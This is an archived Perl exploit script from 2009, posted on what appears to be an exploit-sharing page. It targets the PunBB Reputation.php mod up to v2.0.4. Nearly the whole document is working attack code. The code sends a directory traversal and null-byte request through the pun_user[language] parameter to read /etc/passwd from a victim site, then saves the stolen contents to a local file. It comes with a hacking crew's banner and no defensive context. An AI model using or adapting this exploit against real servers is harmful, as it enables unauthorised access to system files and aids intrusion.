Home / os / win10

punbbrep-lfi.txt

Posted on 30 July 2009

#!/usr/bin/perl #[0-Day] PunBB Reputation.php Mod <= v2.0.4 Local File Inclusion Exploit #Coded By Dante90, WaRWolFz Crew #Bug Discovered By: Dante90, WaRWolFz Crew #register_globals = On #magic_quotes_gpc = On use LWP::UserAgent; use HTTP::Cookies; use strict; my $EtcPasswd; my $TransversalDirectory = "./../../../../"; #Transversal Directory my $LFI = "etc/passwd"; #File Inject my $HostName = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link my $Referrer = "http://www.warwolfz.com/"; my $Cookies = new HTTP::Cookies; my $UserAgent = new LWP::UserAgent( agent => 'Mozilla/5.0', max_redirect => 0, cookie_jar => $Cookies, ) or die $!; sub Local_File_Inclusion{ my ($Directory,$Command) = @_; return "./include/reputation/rep_profile.php?pun_user[language]=${Directory}${Command}%00"; } my $Get = $UserAgent->get($HostName.Local_File_Inclusion($TransversalDirectory,$LFI)); if ($Get->content =~ /No such file or directory in/i){ refresh($HostName, "Exploit Filed"); print " * Error extracting sensible data. "; print " * Exploit Failed * "; print " ------------------------------------------------------ "; }else{ $EtcPasswd = $Get->content; open ( FILE , ">WaRWolFz.html" ) or die $!; print FILE $EtcPasswd; close ( FILE ); refresh($HostName, "File Saved"); print " * Exploit Successed * "; print " ------------------------------------------------------ "; system("pause"); } sub usage{ system("cls"); { print " [0-Day] PunBB Reputation.php Mod <= v2.0.4 Local File Inclusion Exploit "; print " ------------------------------------------------------ "; print " * USAGE: * "; print " * cd [Local Disk]:\[Directory Of Exploit]\ * "; print " * perl name_exploit.pl * "; print " ------------------------------------------------------ "; print " * Powered By Dante90, WaRWolFz Crew * "; print " * www.warwolfz.org - dante90_founder[at]warwolfz.org * "; print " ------------------------------------------------------ "; }; exit; } sub refresh{ system("cls"); { print " [0-Day] PunBB Reputation.php Mod <= v2.0.4 Local File Inclusion Exploit "; print " ------------------------------------------------------ "; print " * USAGE: * "; print " * cd [Local Disk]:\[Directory Of Exploit]\ * "; print " * perl name_exploit.pl * "; print " ------------------------------------------------------ "; print " * Powered By Dante90, WaRWolFz Crew * "; print " * www.warwolfz.org - dante90_founder[at]warwolfz.org * "; print " ------------------------------------------------------ "; }; print " * Victime Site: " . $_[0] . " "; print " * Etc/Passwd: " . $_[1] . " "; } #WaRWolFz

 

TOP